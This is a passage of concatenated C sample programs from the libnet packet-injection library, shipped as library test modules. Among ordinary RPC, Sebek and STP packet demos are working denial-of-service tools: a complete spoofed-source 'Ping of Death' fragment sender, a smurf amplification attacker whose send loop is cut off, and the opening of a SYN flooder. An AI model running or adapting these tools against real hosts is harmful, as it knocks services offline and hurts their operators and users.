PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #define FRAG_LEN 1472 int main(int argc, char **argv) { libnet_t *l; libnet_ptag_t ip; libnet_ptag_t icmp; struct libnet_stats ls; u_long fakesrc, target; u_char *data; int c, i, flags, offset, len; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 Ping of Death[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1)) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(EXIT_FAILURE); } /* get random src addr. */ libnet_seed_prand(l); fakesrc = libnet_get_prand(LIBNET_PRu32); data = malloc(FRAG_LEN); for (i = 0 ; i < FRAG_LEN ; i++) { /* fill it with something */ data[i] = 0x3a; } ip = LIBNET_PTAG_INITIALIZER; icmp = LIBNET_PTAG_INITIALIZER; for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN)) { offset = i; flags = 0; if (offset < 65120) { flags = IP_MF; len = FRAG_LEN; } else { /* for a total reconstructed length of 65538 bytes */ len = 410; } icmp = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 666, /* id */ 666, /* sequence */ data, /* payload */ len, /* payload size */ l, /* libnet handle */ icmp); /* libnet ptag */ if (icmp == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } /* no reason to do this */ libnet_toggle_checksum(l, icmp, 0); ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */ 0, /* TOS */ 666, /* IP ID */ flags | (offset >> 3), /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ fakesrc, /* source IP */ target, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ ip); /* libnet ptag */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); } /* tcpdump-style jonks. */ printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0), argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : ""); } libnet_stats(l, &ls); fprintf(stderr, "Packets sent: %lld\n" "Packet errors: %lld\n" "Bytes written: %lld\n", (long long)ls.packets_sent, (long long)ls.packet_errors, (long long)ls.bytes_written); libnet_destroy(l); free(data); return (EXIT_SUCCESS); bad: libnet_destroy(l); free(data); return (EXIT_FAILURE); } libnet-1.3/sample/rpc_tcp.c0000664000175000017500000001603614506572036014143 0ustar syqsyq/* * $Id: rpc_tcp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * rpc_tcp.c - Build an RPC TCP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: RPC TCP[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; break; case 'p': payload = optarg; payload_s = strlen(payload); break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_rpc_call( LIBNET_RPC_LAST_FRAG | LIBNET_RPC_CALL_TCP_H, 0x10e70082, LIBNET_PMAP_PROGRAM, 2, LIBNET_PMAP_PROC_DUMP, 0, 0, NULL, 0, 0, NULL, (uint8_t *)payload, payload_s, l, 0); if (t == -1) { fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_ACK, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + 44 + payload_s, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + 44 + payload_s,/* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte RPC TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/rpc_udp.c0000664000175000017500000001507114506572036014143 0ustar syqsyq/* * $Id: rpc_udp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build an RPC UDP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; libnet_ptag_t ip; libnet_ptag_t udp; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: RPC + UDP + IP options[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; udp = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_rpc_call( 0, 0x10e70082, 0x000186a0, 2, 4, 0, 0, NULL, 0, 0, NULL, (uint8_t *)payload, payload_s, l, 0); if (t == -1) { fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l)); goto bad; } udp = libnet_build_udp( src_prt, /* source port */ dst_prt, /* destination port */ LIBNET_UDP_H + 40 +payload_s, /* packet length */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ udp); /* libnet id */ if (udp == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + 40 + payload_s + LIBNET_UDP_H, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, dst_ip, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte RPC UDP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/sebek.c0000664000175000017500000001654314506572036013605 0ustar syqsyq/* * * libnet 1.1 * Build a Sebek packet * * Copyright (c) 2004 Frederic Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" void usage(char *name) { fprintf(stderr, "usage: %s [-D eth_dst] [-s source_ip] [-d destination_ip]" "[-u UDP port] [-m magic] [-v version] [-t type] [-S sec] [-U usec] [-P PID] [-I UID] [-f FD] [-c cmd]" " [-i iface] [-p payload]\n", name); } int main(int argc, char *argv[]) { int c, port = 1101; libnet_t *l; char *device = NULL; char *eth_dst = "11:11:11:11:11:11"; char *dst = "2.2.2.2", *src = "1.1.1.1"; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ptag = 0; u_char *payload = 0; char payload_flag = 0; u_long payload_s = 0; unsigned int magic = 0x0defaced, counter = 0x12345678, sec = 0, usec = 0, pid = 1, uid = 666, fd = 2; char *cmd = "./h4ckw0r1D"; unsigned int length = strlen(cmd)+1; unsigned short version = SEBEK_PROTO_VERSION, type = SEBEK_TYPE_READ; printf("libnet 1.1 packet shaping: Sebek[link]\n"); /* * handle options */ while ((c = getopt(argc, argv, "D:d:s:u:m:v:t:S:U:P:I:f:c:p:i:h")) != EOF) { switch (c) { case 'D': eth_dst = optarg; break; case 'd': dst = optarg; break; case 's': src = optarg; break; case 'i': device = optarg; break; case 'u': port = atoi(optarg); break; case 'm': magic = strtoul(optarg, NULL, 10); break; case 'v': version = (unsigned short) strtoul(optarg, NULL, 10); break; case 't': type = (unsigned short) strtoul(optarg, NULL, 10); break; case 'S': sec = strtoul(optarg, NULL, 10); break; case 'U': usec = strtoul(optarg, NULL, 10); break; case 'P': pid = strtoul(optarg, NULL, 10); break; case 'I': uid = strtoul(optarg, NULL, 10); break; case 'f': fd = strtoul(optarg, NULL, 10); break; case 'c': cmd = optarg; length = strlen(cmd); break; case 'p': payload_flag = 1; payload = (u_char *)optarg; payload_s = strlen((char *)payload); break; case 'h': usage(argv[0]); exit(EXIT_SUCCESS); default: exit(EXIT_FAILURE); } } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK_ADV, /* injection type */ device, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } printf("Using device %s\n", l->device); if (payload_flag) { memset(cmd, 0, length); memcpy(cmd, payload, (payload_s < 12 ? payload_s : 12)); length = payload_s; } if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", dst); exit(EXIT_FAILURE); } if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", src); exit(EXIT_FAILURE); } if (!payload) { payload = (uint8_t *)cmd; payload_s = length; } ptag = libnet_build_sebek( magic, version, type, counter, sec, usec, pid, uid, fd, (uint8_t *)cmd, /* LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H +*/ length, (uint8_t *)payload, payload_s, l, 0 ); if (ptag == -1) { fprintf(stderr, "Can't build Sebek header: %s\n", libnet_geterror(l)); goto bad; } ptag = libnet_build_udp( port, /* source port */ port, /* destination port */ LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s, /* packet length */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ptag = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s,/* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); exit(EXIT_FAILURE); } eth_dst = (char *)libnet_hex_aton((char *)eth_dst, &c); ptag = libnet_autobuild_ethernet( (uint8_t *)eth_dst, /* ethernet destination */ ETHERTYPE_IP, /* protocol type */ l); /* libnet handle */ free(eth_dst); if (ptag == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * write to the wire */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte Sebek packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); return 0; } libnet-1.3/sample/smurf.c0000664000175000017500000001301514506572036013637 0ustar syqsyq/* * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build Smurf packets * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" void usage(char *); int main(int argc, char **argv) { libnet_t *l = NULL; u_long target_ip = 0, ampli_ip = 0; u_long count = 10; int i, c; libnet_ptag_t t; char *device = NULL; char *pTarget = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; char label[LIBNET_LABEL_SIZE]; printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n"); while((c = getopt(argc, argv, "t:i:c:")) != EOF) { switch (c) { case 't': pTarget = optarg; break; case 'i': device = optarg; break; case 'c': count = strtoul(optarg, 0, 10); break; } } if (optind == argc) { fprintf(stderr, "No amplifier given.\n"); usage(argv[0]); exit (EXIT_FAILURE); } if (!pTarget) { fprintf(stdout, "No target given.\n"); usage(argv[0]); exit (EXIT_FAILURE); } if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad target IP address: %s\n", pTarget); exit(EXIT_FAILURE); } /* Create a context for each amplifier */ for (i = 0; optind < argc; optind++) { printf ("Adding amplifier %s\n", argv[optind]); l = libnet_init( LIBNET_RAW4, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]); exit(1); } /* build the packet */ t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */ 0, /* TOS */ 0x42, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ target_ip, /* source IP */ ampli_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* and finally, put it in the arena */ snprintf(label, sizeof(label)-1, "echo%d", i); if (libnet_cq_add(l, label) == -1) { fprintf(stderr, "add error: %s\n", libnet_geterror(l)); goto bad; } } /* for (optind < argc) */ /* Attaaaaaaaaaack */ for_each_context_in_cq(l) { /* * Write it to the wire. */ for (i = 0; i * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #define CONF 1 #define TCN 2 int main(int argc, char *argv[]) { int c, len, type; libnet_t *l; libnet_ptag_t t; u_char *dst, *src; u_char rootid[8], bridgeid[8]; char *device = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: [STP]\n"); device = NULL; src = dst = NULL; type = CONF; while ((c = getopt(argc, argv, "cd:i:s:t")) != EOF) { switch (c) { case 'c': type = CONF; break; case 'd': dst = libnet_hex_aton(optarg, &len); break; case 'i': device = optarg; break; case 's': src = libnet_hex_aton(optarg, &len); break; case 't': type = TCN; break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (src == NULL || dst == NULL) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } if (type == CONF) { rootid[0] = 0x80; rootid[1] = 0x00; rootid[2] = 0x00; rootid[3] = 0x07; rootid[4] = 0xec; rootid[5] = 0xae; rootid[6] = 0x30; rootid[7] = 0x41; bridgeid[0] = 0x80; bridgeid[1] = 0x00; bridgeid[2] = 0x00; bridgeid[3] = 0x07; bridgeid[4] = 0xec; bridgeid[5] = 0xae; bridgeid[6] = 0x30; bridgeid[7] = 0x41; t = libnet_build_stp_conf( 0x0000, /* protocol id */ 0x00, /* protocol version */ 0x00, /* BPDU type */ 0x00, /* BPDU flags */ rootid, /* root id */ 0x00000001, /* root path cost */ bridgeid, /* bridge id */ 0x8002, /* port id */ 0x00, /* message age */ 0x0014, /* max age */ 0x0002, /* hello time */ 0x000f, /* forward delay */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build STP conf header: %s\n", libnet_geterror(l)); goto bad; } } else { t = libnet_build_stp_tcn( 0x0000, /* protocol id */ 0x00, /* protocol version */ 0x80, /* BPDU type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build STP tcn header: %s\n", libnet_geterror(l)); goto bad; } } t = libnet_build_802_2( LIBNET_SAP_STP, /* DSAP */ LIBNET_SAP_STP, /* SSAP */ 0x03, /* control */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_802_3( dst, /* ethernet destination */ src, /* ethernet source */ LIBNET_802_2_H + ((type == CONF) ? LIBNET_STP_CONF_H : LIBNET_STP_TCN_H), /* frame size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte STP packet; check the wire.\n", c); } free(dst); free(src); libnet_destroy(l); return (EXIT_SUCCESS); bad: free(dst); free(src); libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage %s -d dst -s src -t -c [-i interface]\n", name); } libnet-1.3/sample/synflood.c0000664000175000017500000001373714506572036014353 0ustar syqsyq/* * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $ * * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman * SYN flooder rewritten for no good reason. Again as libnet test module. * Again for libnet 1.1. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF 